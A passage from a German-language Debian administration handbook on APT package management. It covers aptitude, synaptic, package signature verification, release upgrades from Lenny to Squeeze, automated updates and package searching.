deborphan ist das rudimentärere von beiden. Es durchsucht die libs und oldlibs Bereiche (in Abwesenheit weiterer Anweisungen) nach Paketen, aktuell installiert sind aber von keinem anderen Paket benötigt werden. Die zurückgelieferte Liste kann dann als Basis für das Entfernen nicht benötigter Pakete dienen.

debfoster verfolgt einen komplexeren Ansatz, ähnlich dem von aptitude: Es verwaltet eine Liste von Paketen, die ausdrücklich installiert wurden und merkt sich, welche Pakete zwischen zwei Aufrufen wirklich benötigt wurden. Wenn neue Pakete im System auftauchen und wenn debfoster diese nicht als benötigte Pakete kennt, werden diese zusammen mit ihren Abhängigkeiten angezeigt. Das Programm bietet dann die Wahl: Entfernen der Pakete (wenn möglich mit den Abhängigkeiten), als explizit benötigt markieren oder temporär ignorieren.

6.4.1.2. Verwalten von Empfehlungen, Vorschläge und Aufgaben

Eine weitere interessante Eigenschaft von aptitude ist, dass es die Empfehlungen zwischen Paketen berücksichtigt und dabei dem Benutzer trotzdem gestattet von Fall zu Fall die Wahl zu treffen, ausgewählte Pakete nicht zu installieren. Zum Beispiel empfiehlt das Paket gnome-desktop-environment gnome-accessibility (neben anderen). Wenn Sie das erste zur Installation auswählen, wird das zweite ebenfalls ausgewählt (und als automatisch installiert markiert, falls es nicht bereits installiert ist). Drücken Sie g, wird dies deutlich: gnome-accessibility taucht in der Vorschau der der anstehenden Aktionen auf, unter "Pakete, die von anderen Paketen vorgeschlagen werden". Trotzdem bleibt Ihnen die Wahl, das Paket nicht zu installieren, indem Sie es abwählen, bevor Sie die anstehenden Aktionen ausführen lassen.

Beachten Sie, dass die Verfolgung von Empfehlungen nicht bei Aktualisierungen greift. Wenn beispielsweise eine neue Version von gnome-desktop-environment ein Paket vorschlägt, das es vorher nicht vorgeschlagen hat, wird dieses neue Paket nicht zur Installation ausgewählt. Es wird allerdings in der Aktualisierungsliste angezeigt, damit der Administrator es trotzdem zur Installation auswählen kann.

Vorschläge zwischen Paketen werden ebenfalls in Betracht gezogen, allerdings angepasst an ihren jeweiligen Status. Beispielsweise schlägt gnome-desktop-environment gnome-audio vor, welches dann in der Vorschau (in der Kategorie "Pakete, die von anderen Paketen vorgeschlagen werden") angezeigt wird. Auf diesem Weg ist es für den Administrator sichtbar und er kann entscheiden, ob er den Vorschlag annimmt, oder nicht. Da es sich nur um einen Vorschlag und nicht um eine Abhängigkeit handelt, wird das Paket nicht automatisch ausgewählt – seine Auswahl bedarf eines manuellen Eingriffs seitens des Benutzers (aus diesem Grund wird das Paket auch nicht als automatisch installiert markiert).

Im gleichen Sinn: Beachten Sie, dass aptitude intelligenten Gebrauch vom Aufgaben-Konzept macht (Aufgaben in diesem Kontext sind Programmgruppen für dedizierte Zwecke/Aufgaben). Da Aufgaben (Tasks) als Kategorien in den Paketlisten-Darstellungen angezeigt werden, können Sie entweder eine vollständige Aufgabe zur Installation oder zum Entfernen auswählen, oder Sie können die Paketliste der Aufgabe durchgehen, um eine Untermenge auszuwählen.

6.4.1.3. Bessere Problemlösungs-Algorithmen

Um diesen Abschnitt zu beschließen, lassen Sie uns festhalten, dass aptitude im Vergleich zu apt-get über raffiniertere Algorithmen verfügt, wenn es darum geht, schwierige Situationen aufzulösen. Wenn eine Folge von gewünschten Aktionen in Kombination zu einem inkohärenten System führen würde, wertet aptitude verschiedene mögliche Szenarien aus und schlägt diese in absteigender Relevanz vor. Trotzdem sind diese Algorithmen nicht unfehlbar. Glücklicherweise besteht immer die Möglichkeit, die auszuführenden Aktionen von Hand auszuwählen. Wenn die aktuell ausgewählten Aktionen zu Widersprüchen führen, wird im oberen Teil des Bildschirms eine Anzahl von beschädigten Paketen angezeigt (Sie können mit b direkt zu diesen Paketen navigieren). Dann können Sie manuell eine Lösung für die gefundenen Probleme zusammenstellen. Im Besonderen haben Sie Zugang zu den verschiedenen verfügbaren Versionen, indem Sie das Paket mit Enter anwählen. Löst die Auswahl einer der verfügbaren Versionen das Problem, sollten Sie sich nicht scheuen, Gebrauch von dieser Funktion zu machen. Sinkt die Anzahl der beschädigten Pakete auf Null können Sie beruhigt in die Zusammenfassung der anstehenden Aktionen springen und diese ein letztes Mal prüfen, bevor Sie sie ausführen.

HINWEIS Die Protokolldatei von aptitude

Ebenso wie dpkg führt aptitude Buch über ausgeführte Aktionen – in seiner Protokolldatei (/var/log/aptitude). Da beide Programme auf sehr unterschiedlichen Ebenen arbeiten, finden sich in den Protokolldateien beider Programme unterschiedliche Informationen. Während dpkg alle auf individuelle Pakete angewendeten Operationen Schritt für Schritt protokolliert, stellt aptitude eine breitere Sicht auf einer höheren Ebene, wie zum Beispiel eine systemweite Aktualisierung, dar.

Beachten Sie, dass die Protokolldatei nur eine Zusammenfassung der von aptitude ausgeführten Operationen umfasst. Wenn gelegentlich andere Benutzeroberflächen (oder gar dpkg selbst) benutzt werden, enthält die Protokolldatei von aptitude nur eine unvollständige Ansicht der durchgeführten Operationen, so dass Sie sich nicht auf diese Informationen verlassen können, um einen verlässlichen Verlauf des Systems wiederzugeben.

6.4.2. synaptic

synaptic ist eine grafische Paketverwaltung für Debian mit einer klaren und effizienten Benutzeroberfläche auf Basis von GTK+/GNOME. Die vielen gebrauchsfertigen Filter bieten einen schnellen Zugriff auf neu verfügbare Pakete, installierte Pakete, aktualisierbare Pakete, überflüssige Pakete usw. Während Sie diese Listen durchgehen, können sie Operationen auswählen, die auf die Pakete angewendet werden (installieren, aktualisieren, entfernen, vollständig löschen). Diese Operationen werden nicht umgehend ausgeführt, sondern in eine Aufgabenliste aufgenommen. Ein einzelner Klick auf eine Schaltfläche bestätigt die Operationen, die dann in einem Rutsch ausgeführt werden.

Figure 6.2. synaptic Paketverwaltungsprogramm

6.5. Die Echtheit eines Paketes prüfen

Sicherheit ist für die Administratoren der Falcot Corp sehr wichtig. Dementsprechend müssen sie sicherstellen, dass sie ausschließlich Pakete installieren, die garantiert von Debian stammen und die unterwegs nicht verändert wurden. Ein Cracker könnte versuchen, Schadcode in ein ansonsten rechtmäßiges Paket einzuschleusen. Ein solches Paket, falls installiert, könnte alles tun, was der Cracker vorgesehen hat, einschließlich der Preisgabe von Passwörtern oder vertraulichen Informationen. Um dies zu verhindern, stellt Debian fälschungssichere Siegel bereit, die – zum Zeitpunkt der Installation – gewährleisten, dass ein Paket wirklich von seinem offiziellen Betreuer stammt und nicht durch einen Dritten verändert wurde.

Das Siegel arbeitet mit einer Kette kryptografischer Hashfunktionen und Signaturen. Die signierte Datei ist die von den Debian-Spiegelservern bereitgestellte Release-Datei. Sie enthält eine Liste der Packages-Dateien (inklusiver der komprimierten Ausgaben Packages.gz und Packages.bz2 und der inkrementellen Versionen) zusammen mit ihren MD5, SHA1 und SHA256 Hashes, mit denen sich sicherstellen lässt, dass die Dateien nicht verändert wurden. Diese Packages-Dateien enthalten eine Liste der auf dem Spiegelserver verfügbaren Pakete zusammen mit ihres Hashes, mit denen wiederum sichergestellt werden kann, dass auch die Pakete ihrerseits nicht verändert wurden.

Die vertrauenswürdigen Schlüssel werden mit dem Befehl apt-key aus dem Paket apt verwaltet. Dieses Programm pflegt einen Schlüsselbund mit öffentlichen GnuPG Schlüsseln, mit denen die Signaturen in den Release.gpg-Dateien der Spiegelserver geprüft werden können. Es kann dazu benutzt werden, von Hand neue Schlüssel hinzuzufügen (wenn nicht-offizielle Spiegelserver benötigt werden). Im Allgemeinen werden aber nur die offiziellen Debian Schlüssel benötigt. Diese Schlüssel werden automatisch durch das debian-archive-keyring-Paket aktuell gehalten (welches im Falle einer Installation oder Aktualisierung dann apt-key ausführt). Dennoch erfordert die Erstinstallation dieses speziellen Paketes Aufmerksamkeit: Auch wenn dieses Paket wie alle anderen signiert ist, kann dessen Signatur nicht von außen überprüft werden. Vorsichtige Administratoren sollten deshalb die Fingerabdrücke importierter Schlüssel überprüfen, bevor sie ihnen zur Installation neuer Pakete vertrauen:

# apt-key fingerprint /etc/apt/trusted.gpg -------------------- pub 1024D/F42584E6 2008-04-06 [expires: 2012-05-15] Key fingerprint = 7F5A 4445 4C72 4A65 CBCD 4FB1 4D27 0D06 F425 84E6 uid Lenny Stable Release Key <debian-release@lists.debian.org> pub 4096R/55BE302B 2009-01-27 [expires: 2012-12-31] Key fingerprint = 150C 8614 919D 8446 E01E 83AF 9AA3 8DCD 55BE 302B uid Debian Archive Automatic Signing Key (5.0/lenny) <ftpmaster@debian.org> pub 2048R/6D849617 2009-01-24 [expires: 2013-01-23] Key fingerprint = F6CF DE30 6133 3CE2 A43F DAF0 DFD9 9330 6D84 9617 uid Debian-Volatile Archive Automatic Signing Key (5.0/lenny) pub 4096R/B98321F9 2010-08-07 [expires: 2017-08-05] Key fingerprint = 0E4E DE2C 7F3E 1FC0 D033 800E 6448 1591 B983 21F9 uid Squeeze Stable Release Key <debian-release@lists.debian.org> pub 4096R/473041FA 2010-08-27 [expires: 2018-03-05] Key fingerprint = 9FED 2BCB DCD2 9CDF 7626 78CB AED4 B06F 4730 41FA uid Debian Archive Automatic Signing Key (6.0/squeeze) <ftpmaster@debian.org>

IN DER PRAXIS Vertrauenswürdige Schlüssel hinzufügen

Wenn eine Paketquellen von Dritten zur sources.listDatei hinzugefügt wird, muss APT der vertrauenswürdige GPG-Schlüssel der Paketquelle bekannt gemacht werden. Andernfalls wird es sich ständig darüber beklagen, dass es die Authentizität der Pakete aus dieser Quelle nicht sicherstellen kann. Der erste Schritt ist natürlich, den öffentlichen GPG-Schlüssel der Paketquelle zu besorgen, der meist in Form einer kleinen Textdatei bereitgestellt wird. In den folgenden Beispielen werden wir sie key.asc nennen.

Um einen Schlüssel zum Schlüsselbund vertrauenswürdiger Schlüssel hinzuzufügen, kann der Administrator apt-key add < key.asc ausführen. Ein anderer Weg ist, die grafische Benutzeroberfläche synaptic zu nutzen: Im Reiter "Authentifizierung" im Einstellungen → Paketquellen Menü besteht die Möglichkeit, Schlüssel aus der key.asc-Datei zu importieren.

Anwender, die eine eigenständige Anwendung und mehr Details über vertrauenswürdige Schlüssel wünschen, steht mit gui-apt-key (im Paket gleichen Namens) eine grafische Benutzeroberfläche zur Verwaltung des Schlüsselbundes vertrauenswürdiger Schlüssel zur Verfügung.

Sobald die richtigen Schlüssel im Schlüsselbund sind, prüft APT die Signaturen vor jeder riskanten Operation, damit Benutzeroberflächen eine Warnung einblenden können, falls bei der Installation eines Pakets die Authentizität nicht bestätigt werden kann.

6.6. Von einer Stable Distribution auf die nächste aktualisieren

Eine der bekanntesten Eigenschaften von Debian ist die Fähigkeit, ein installiertes System von einer Stable Veröffentlichung auf die nächste aktualisieren zu können: dist-upgrade – ein wohlbekannter Ausdruck – hat erheblich zum Leumund des Projekts beigetragen. Mit ein paar Vorsichtsmaßnahmen dauert die Aktualisierung eines Computers nur ein paar, oder ein paar Dutzend, Minuten, abhängig von der Downloadgeschwindigkeit der Paketquellen.

6.6.1. Empfohlene Vorgehensweise

Da Debian einiges an Zeit zur Weiterentwicklung zwischen den Stable Veröffentlichungen hat, sollten Sie vor einer Aktualisierung die Veröffentlichungshinweise lesen.

ZURÜCK ZU DEN GRUNDLAGEN Veröffentlichungshinweise

Die Veröffentlichungshinweise für ein Betriebssystem (oder generell für jede Software) geben einen Überblick über die Software mit Details zu den Besonderheiten der Version. Im Vergleich mit der vollständigen Dokumentation sind diese Dokumente eher kurz und sie führen die seit der letzten Version neu hinzugekommenen Eigenschaften auf. Ebenfalls enthalten sie Einzelheiten zur Aktualisierungsvorgehensweise, Warnungen für Benutzer von vorigen Versionen und manchmal ein Fehlerverzeichnis.

Veröffentlichungshinweise sind online verfügbar: Die Veröffentlichungshinweise für die aktuelle Stable Veröffentlichung haben eine fest zugeordnete URL, während ältere Veröffentlichungshinweise unter ihrem Codenamen zu finden sind:

→ http://www.debian.org/releases/stable/releasenotes

→ http://www.debian.org/releases/lenny/releasenotes

In diesem Abschnitt gehen wir auf die Aktualisierung eines Lenny Systems auf Squeeze ein. Dies ist ein erheblicher Eingriff in ein System, der niemals 100% risikofrei ist und nur nach der Sicherung aller wichtigen Daten unternommen werden sollte.

Eine weitere gute Angewohnheit, die das Aktualisieren erleichtert (und verkürzt), ist das Aufräumen der installierten Pakete und nur die zu behalten, die wirklich gebraucht werden. Hilfreiche Werkzeuge dazu sind unter anderem aptitude, deborphan und debfoster (siehe Section 6.4.1, “aptitude”). Sie können beispielsweise folgenden Befehl nutzen:

# deborphan | xargs aptitude remove

Nun zur Aktualisierung selbst: Zuerst müssen Sie die Datei /etc/apt/sources.list anpassen, um APT anzuweisen, die Pakete aus Squeeze anstatt aus Lenny zu verwenden. Wenn die Datei ausschließlich Verweise auf Stable statt auf einen expliziten Codenamen enthält, ist diese Änderung nicht einmal nötig, da Stable immer auf die zuletzt veröffentlichte Version von Debian zeigt. In beiden Fällen muss die Datenbank der verfügbaren Pakete aktualisiert werden (mit dem Befehl aptitude update oder der Schaltfläche "Neu laden" in synaptic).

Sobald die neuen Paketquellen eingetragen sind, müssen Sie die Pakete aptitude und apt aktualisieren – die Versionen in Lenny haben Einschränkungen, die eine automatische Aktualisierung beeinträchtigen können.

Achten Sie darauf, die wesentlichsten, unten aufgeführten, Pakete zu aktualisieren (oder zu installieren), andernfalls könnte Ihr System nicht bootfähig sein:

der Bootloader grub-pc oder grub-legacy (manchmal auch lilo);

die Programme, um die initiale RAM-Disk anzulegen (initrd): initramfs-tools;

die Standard-Bibliothek: libc6 oder eine ihrer optimierten Varianten, wie libc6-i686;

das Verwaltungssystem für Gerätedateien: udev;

und nicht zuletzt, den Kernel: Abhängig von der Hardware sind die zu nutzenden Metapakete linux-image-486, linux-image-686 oder linux-image-686-bigmem. Diese Pakete funktionieren nur auf der i386 Architektur; Besitzer von Computern mit anderer Hardware benötigen andere Pakete, sehr wahrscheinlich linux-image-2.6-amd64 für AMD64 oder linux-image-powerpc* für PowerPC.

Nachdem diese ersten Schritte getan sind, ist es an der Zeit, die Aktualisierung selbst durchzuführen. Entweder mit aptitude oder synaptic. Sie sollten die vorgeschlagenen Aktionen sehr sorgfältig prüfen, bevor Sie sie ausführen: Vielleicht möchten Sie vorgeschlagene Pakete auswählen oder nur empfohlene Pakete abwählen, die als nicht nützlich bekannt sind. In jedem Fall sollte die Benutzeroberfläche ein Szenario vorschlagen, das in einem kohärenten, aktuellen Squeeze System resultiert. Danach müssen Sie sich nur noch gedulden, bis die benötigten Pakete heruntergeladen sind, die Fragen von Debconf und möglicherweise über lokal veränderte Konfigurationsdateien beantworten und sich zurücklehnen, während APT seine Magie wirkt.

6.6.2. Problembehandlung nach einer Aktualisierung

Trotz der Anstrengungen der Debian-Betreuer verläuft eine größere Systemaktualisierung nicht immer so problemlos, wie man es sich wünschen würde. Neue Softwareversionen könnten inkompatibel zu ihren Vorgängern sein (beispielsweise, weil sich Standardverhaltensweisen oder Datenformate geändert haben). Auch könnten sich Fehler durch die, jeder Debian Veröffentlichung vorangehende, Testphase hindurch gemogelt haben.

Um solche Probleme vorwegzunehmen, können Sie das Paket apt-listchanges installieren, welches Informationen über mögliche Probleme zu Beginn jeder Paketaktualisierung einblendet. Diese Informationen werden von den Paketbetreuern zusammen- und in /usr/share/doc/Paket/NEWS.Debian Dateien zum Nutzen der Anwender bereitgestellt. Das Lesen dieser Dateien (möglicherweise mittels apt-listchanges) sollte helfen, Sie vor bösen Überraschungen zu bewahren.

Manchmal werden Sie feststellen, dass die neue Version einer Software überhaupt nicht funktioniert. Das passiert allgemein bei Applikationen, die nicht besonders populär und deshalb nicht ausgiebig genug getestet sind. Eine Aktualisierung in letzter Minute kann zu Regressionsfehlern führen, die erst nach der Veröffentlichung erkannt werden. In beiden Fällen ist der erste Schritt, einen Blick in die Fehlerdatenbank unter http://bugs.debian.org/Paket zu werfen, um zu prüfen, ob das Problem bereits gemeldet wurde. Falls nicht, sollten Sie es mittels reportbug melden. Falls das Problem bereits bekannt ist, ist der Fehlerbericht in Verbindung mit den verknüpften Meldungen üblicherweise eine exzellente Informationsquelle zu dem Fehler:

manchmal existiert bereits ein Patch und ist im Fehlerbericht verfügbar. Sie können dann die korrigierte Version des defekten Pakets lokal übersetzen (siehe Section 15.1, “Ein Paket aus seinen Quellen neu erstellen”);

in anderen Fällen könnten andere Anwender bereits eine Übergangslösung für das Problem gefunden und ihre Erkenntnisse in den Antworten zum Fehlerbericht geteilt haben;

und in wieder anderen Fällen könnte der Paketbetreuer bereits ein korrigiertes Paket gebaut und veröffentlicht haben.

Abhängig von der Schwere eines Fehlers, kann eine neue Paketversion speziell für die nächste Ausgabe der Stable Veröffentlichung vorbereitet werden. Sollte dies der Fall sein, wird das korrigierte Paket im Bereich proposed-updates der Debian Spiegelserver bereitgestellt (siehe Section 6.1.1.1, “Stable Aktualisierungen”). Der entsprechende Eintrag kann dann temporär der Datei sources.list hinzugefügt werden. Aktualisierte Pakete können mit apt-get oder aptitude installiert werden.

Manchmal ist das korrigierte Paket nicht in diesem Bereich verfügbar, weil es noch von den Stable Release Managern geprüft werden muss. Sie können auf deren Webseite prüfen, ob dies der Fall ist. Dort aufgeführte Pakete sind noch nicht verfügbar, aber wenigstens wissen Sie, dass der Veröffentlichungsprozess läuft.

→ http://release.debian.org/proposed-updates/stable.html

6.7. Ein System aktuell halten

Die Debian Veröffentlichung ist dynamisch ständigen Änderungen unterworfen. Die meisten Änderungen werden in den Testing und Unstable Versionen vorgenommen, aber selbst Stable wird ab und an aktualisiert, hauptsächlich handelt es sich dabei um sicherheitsrelevante Korrekturen. Egal, welche Debian-Version auf dem System läuft, es ist immer ratsam sie aktuell zu halten, um von den letzten Enwicklungen und Korrekturen zu profitieren.

Natürlich ist es möglich, regelmäßig ein Programm auszuführen, das nach verfügbaren Aktualisierungen sucht und diese installiert. Allerdings ist eine solch wiederkehrende Aufgabe mühsam, speziell dann, wenn sie auf vielen Maschinen ausgeführt werden muss. Glücklicherweise lassen sich solch lästige Aufgaben teilweise automatisieren, eine Reihe von Werkzeugen dazu wurde bereits entwickelt.

Das erste dieser Werkzeuge ist apticron im Paket gleichen Namens. Seine Hauptaufgabe ist, täglich ein Skript (via cron) auszuführen. Das Skript aktualisiert die Liste der verfügbaren Pakete und schickt, falls ein installiertes Paket nicht in der aktuellsten Version vorliegt, eine E-Mail mit der Liste dieser Pakete zusammen mit den Änderungen in den neuen Versionen. Offenkundig richtet sich dieses Paket an Anwender von Debian Stable, da tägliche E-Mails für die sich häufiger ändernden Versionen von Debian doch sehr lang würden. Sind Aktualisierungen verfügbar, lädt apticron sie automatisch herunter. Es installiert sie nicht – das ist dem Administrator überlassen – aber dass die Pakete bereits heruntergeladen und lokal verfügbar (im Zwischenspeicher von APT) sind, beschleunigt die Aufgabe.

Administratoren, die für viele Computer zuständig sind, werden es ohne Zweifel schätzen, über anstehende Aktualisierungen informiert zu werden, das Durchführen der Aktualisierungen selbst bleibt aber weiterhin mühsam. An dieser Stelle wird das Skript /etc/cron.daily/apt (aus dem apt Paket) interessant. Dieses Skript wird ebenfalls täglich durch cron ausgeführt (nicht-interaktiv). Um sein Verhalten zu bestimmen, verwenden Sie APT Konfigurationsvariablen (gespeichert in einer Datei unter /etc/apt/apt.conf.d/). Die drei Hauptvariablen sind:

APT::Periodic::Update-Package-Lists

Diese Option erlaubt es Ihnen, die Frequenz (in Tagen) festzulegen mit der die Paketlisten aktualisiert werden. Anwender von apticron benötigen diese Variable nicht, da apticron diese Aufgabe selbst übernimmt.

APT::Periodic::Download-Upgradeable-Packages

Auch diese Option legt die Frequenz (in Tagen) fest, diesmal für das Herunterladen der Pakete. Und wieder benötigen Anwender von apticron sie nicht.

APT::Periodic::AutocleanInterval

Die letzte Option deckt ein Merkmal ab, über das apticron nicht verfügt. Sie bestimmt, wie häufig veraltete Pakete (die von keiner Veröffentlichung mehr referenziert werden) aus dem Zwischenspeicher von APT entfernt werden. Dies hält den Zwischenspeicher von APT auf einer sinnvollen Größe und entlastet Sie davon, sich Gedanken um diese Aufgabe machen zu müssen.

Andere Optionen gestatten es Ihnen, das Aufräumen des Zwischenspeichers gezielter zu steuern. Diese Optionen werden hier nicht aufgeführt, werden aber im Skript /etc/cron.daily/apt beschrieben.

Diese Werkzeuge eignen sich sehr gut für Server, aber Anwender von Arbeitsplatzrechnen bevorzugen üblicherweise ein interaktiveres System. Aus diesem Grund installiert die Programmgruppe "Desktop-Umgebung“ (Arbeitsplatzrechner)" update-notifier und update-manager. Das erste blendet ein Symbol im Benachrichtigungsfeld der Benutzeroberfläche ein, sobald Aktualisierungen verfügbar sind. Das Anklicken dieses Symbols startet dann update-manager, eine vereinfachte Oberfläche, um die Aktualisierung durchzuführen. Sie können die Liste der verfügbaren Aktualisierungen durchblättern, die Beschreibungen der betroffenen Pakete und deren changelog lesen und auswählen, welche Pakete Sie aktualisieren wollen und welche nicht. Beachten Sie, dass beide Pakete Konfigurationsdaten für /etc/cron.daily/apt enthalten, damit die Listen der verfügbaren Pakete aktualisiert und betroffene Pakete heruntergeladen werden können. Die Kombination update-notifier/update-manager ist weit vom Funktionsumfang von aptitude und synaptic entfernt, da sie nur Aktualisierungen für bereits installierte Pakete behandeln, dafür lässt die minimalistische Oberfläche kaum Raum für Fehler und birgt daher wenig Gefahr, das System zu beschädigen.

Figure 6.3. Aktualisieren mit update-manager

6.8. Automatische Aktualisierungen

Da Falcot Corp über viele Rechner aber nur über wenig IT-Personal verfügt, versuchen die Administratoren alles so weit wie möglich zu automatisieren. Die für diese Prozesse verantwortlichen Programme müssen deshalb ohne Benutzereingriffe ablaufen.

6.8.1. dpkg konfigurieren

Wie bereits erwähnt (siehe Seitenleiste WEITERE SCHRITTE Die Fragen zur Konfigurationsdatei vermeiden), kann dpkg angewiesen werden, keine Bestätigung vor dem Ersetzen einer Konfigurationsdatei einzuholen (mittels der --force-confdef --force-confold Option). Indes können Interaktionen drei andere Ursachen haben: Einige kommen von APT selbst, andere handhabt debconf und wieder andere kommen von der Befehlszeile ausgelöst durch Paket-Konfigurationsskripte.

6.8.2. APT konfigurieren

Im Falle von APT ist es einfach: die -y Option (oder --assume-yes) weist APT an, "yes" als Antwort auf alle Rückfragen anzunehmen.

6.8.3. debconf konfigurieren

Für debconf Bedarf es mehr Details. Das Programm war von Beginn an ausgelegt, die Relevanz und die Menge der Rückfragen an den Anwender sowie die Art, wie sie ihm präsentiert werden, zu kontrollieren. Aus diesem Grund fordert seine Konfiguration minimale Priorität für Rückfragen, nur Fragen oberhalb der minimalen Priorität werden eingeblendet. Für Rückfragen, die übersprungen werden, nimmt debconf die (vom Paketbetreuer festgelegte) Standardantwort an.

Das andere relevante Konfigurationselement ist die von der Benutzeroberfläche genutzte Schnittstelle. Wenn Sie noninteractive auswählen, wird jede Benutzerinteraktion unterbunden. Versucht ein Paket, eine Information einzublenden, wird diese per E-Mail an den Administrator gesendet.

Um debconf umzukonfigurieren, nutzen Sie das Werkzeug dpkg-reconfigure aus dem Paket debconf; das passende Kommando ist dpkg-reconfigure debconf. Beachten Sie, dass Werte aus der Konfigurationsdatei bei Bedarf mit Umgebungsvariablen temporär übersteuert werden können (beispielsweise steuert DEBIAN_FRONTEND die Schnittstelle, wie auf der debconf(7) Handbuchseite beschrieben).

6.8.4. Interaktiver Umgang mit der Kommandozeile

Die letzte Interaktionsquelle, die am schwersten los zu werdende, sind die von dpkg ausgeführten Konfigurationsskripte. Unglücklicherweise gibt es dafür keine Standardlösung.

Die gebräuchlichste Vorgehensweise ist, den leeren Inhalt von /dev/null mit Befehl </dev/null auf die Standardeingabe umzuleiten oder einen endlosen Strom von Zeilenvorschüben zu zu führen. Keine dieser Methoden ist 100% sicher, aber üblicherweise sorgen sie dafür, dass die Standardantworten gewählt werden, da die meisten Skripte eine ausbleibende Antwort als Anerkennen der Standardantwort interpretieren.

6.8.5. Die Wunderkombination

Indem die vorangegangenen Elemente miteinander kombiniert werden, ist es möglich, ein kleines aber ziemlich zuverlässiges Skript zu entwerfen, das automatische Aktualisierungen durchführt.

Example 6.3. Automatisches Aktualisierungs-Skript

export DEBIAN_FRONTEND=noninteractive yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

IN DER PRAXIS Der Fall Falcot Corp

Die Rechner von Falcot haben vielfältige Aufgaben und bilden ein heterogenes System. Aus diesem Grund wählen die Administratoren die am besten geeignete Lösung für jeden Rechner.

Im Betrieb sind Server, auf denen Squeeze läuft, mit der "Wunderkombination" konfiguriert und werden automatisch aktuell gehalten. Nur die kritischsten Server (die Firewalls zum Beispiel) sind mit apticron konfiguriert, so dass Aktualisierungen nur unter Aufsicht der Administratoren durchgeführt werden.

Auf den Arbeitsplatzrechnern in der Verwaltung läuft ebenfalls Squeeze, allerdings sind sie mit der update-notifier/update-manager Kombination konfiguriert, so dass die Anwender die Aktualisierungen selbst durchführen können. Der Grund dafür ist, dass wenn Aktualisierungen unbemerkt durchgeführt werden, sich das Verhalten des Computers plötzlich und unerwartet ändern kann, was die Anwender verwirren könnte.

Die Rechner, die im Labor unter Testing laufen – um von den neusten Programmversionen zu profitieren – , werden nicht automatisch aktualisiert. Die Administratoren konfigurieren APT, die Aktualisierungen vorzubereiten aber nicht durchzuführen. Wenn sich sich entschließen (manuell) zu aktualsieren, ist der lästige Teil des Paketlisteaktualisierens und Herunterladens der Pakete bereits erledigt und die Administratoren können sich auf das Wesentliche konzentrieren.

6.9. Pakete suchen

Mit der großen und immer weiter wachsenden Menge von Software in Debian entsteht ein Paradoxon: Debian hat normalerweise ein Werkzeug für fast jede Aufgabe, aber es kann sehr schwer sein, es unter der Unzahl anderer Pakete zu finden. Der Mangel an geeigneten Wegen das richtige Werkzeug zu suchen (und zu finden) war lange Zeit ein Problem. Glücklicherweise ist dieses Problem mittlerweile fast vollständig gelöst.

Die einfachst mögliche Suche ist die nach einem exakten Paketnamen. Wenn apt-cache show Paket ein Ergebnis zurückliefert, existiert das Paket. Unglücklicherweise erfordert die, den Paketnamen zu wissen oder zumindest zu erraten, was nicht immer möglich ist.

TIPP Namenskonventionen für Pakete

In einigen Kategorien folgen Paketnamen festgelegten Namensschemen, diese Schemen zu kennen erlaubt es oft, den exakten Paketnamen zu erahnen. Beispielsweise besagt die Namenskonvention für Perl Module, dass ein Modul namens XML::Handler::Composer als libxml-handler-composer-perl paketiert werden sollte. Die Bibliothek, die Python die Nutzung des gconf Systems ermöglicht, ist als python-gconf paketiert. Leider ist es nicht möglich, ein einheitliches Namensschema für alle Pakete festzulegen, obwohl die Paketbetreuer normalerweise der Wahl der vorgelagerten Entwickler folgen.

Eine etwas erfolgreicheres Suchschema ist die Volltextsuche über die Paketnamen, wenn auch immer noch stark beschränkt. Im Allgemeinen lassen sich Resultate durch die Suche in den Paketbeschreibungen erzielen: Da jedes Paket über eine mehr oder weniger detailierte Beschreibung verfügt, wird eine Schlagwortsuche in diesen Beschreibungen oftmals erfolgreich sein. apt-cache ist das Mittel der Wahl für diese Art der Suche; beispielsweise liefert apt-cache search video eine Liste aller Pakete deren Name oder Beschreibung das Schlagwort "video" enthält.

Komplexere Suchen erfordern ein mächtigeres Werkzeug wie aptitude. aptitude erlaubt es Ihnen, nach logischen Ausdrücken, basierend auf den Metadatenfeldern der Pakete zu suchen. Beispielsweise sucht der folgende Befehl nach Paketen, deren Name kino enthält, deren Beschreibung video enthält und deren Betreuernamen paul enthält:

$ aptitude search kino~dvideo~mpaul p kino - Non-linear editor for Digital Video data $ aptitude show kino Package: kino State: not installed Version: 1.3.4-1+b1 Priority: extra Section: video Maintainer: Paul Brossier <piem@debian.org> Uncompressed Size: 9519k Depends: libasound2 (> 1.0.18), libatk1.0-0 (>= 1.20.0), libavc1394-0 (>= 0.5.3), libavcodec52 (>= 4:0.5+svn20090706-3) | libavcodec-extra-52 (>= 4:0.5+svn20090706-3), libavformat52 […] Recommends: ffmpeg, gawk | mawk, curl Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora Conflicts: kino-dvtitler, kino-timfx, kinoplus Replaces: kino-dvtitler, kino-timfx, kinoplus Provides: kino-dvtitler, kino-timfx, kinoplus Description: Non-linear editor for Digital Video data Kino allows you to record, create, edit, and play movies recorded with DV camcorders. This program uses many keyboard commands for fast navigating and editing inside the movie. The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as separate packages, are now provided with Kino. Homepage: http://www.kinodv.org/ Tags: hardware::camera, implemented-in::c, implemented-in::c++, interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk, use::editing, works-with::video, x11::application

Die Suche liefert nur ein Ergebnis, kino, auf das alle drei Kriterien zutreffen.

Selbst die Mehrfachkriterien Suchen sind unhandlich, was erklärt, warum sie seltener genutzt werden, als sie eigentlich genutzt werden könnten. Aus diesem Grund wurde ein neues Markierungssystem entwickelt, das einen neuen Suchansatz zur Verfügung stellt. Pakete erhalten Markierungen aus einer thematischen Gliederung über verschiedene Anwendungsbereiche, bekannt als "Facettenklassifikation". Im Falle von kino wie oben, besagen die Markierungen, dass Kino eine Gnome-basierte Software ist, die Videodaten verarbeitet und deren Hauptzweck die Bearbeitung ist.

Das Durchsuchen der Gliederung kann bei der Suche nach dem Paket, das bekannten Anforderungen entspricht, helfen. Selbst wenn sie eine moderate Anzahl an Treffern liefert, kann der Rest der Suche manuell fortgesetzt werden. Dazu können Sie das ~G Suchmuster in aptitude nutzen. Es ist aber wahrscheinlich einfacher, zu der Site zu navigieren, wo die Markierungen verwaltet werden:

→ http://debtags.alioth.debian.org/cloud/

Die Auswahl der works-with::video und use::editing Markierungen liefert eine Handvoll von Paketen, darunter die kino und pitivi Videoeditoren. Dieses Gliederungssystem wächst mit der Zeit und die Paketverwalter werden zunehmend darauf basierende Suchoberflächen bereitstellen.

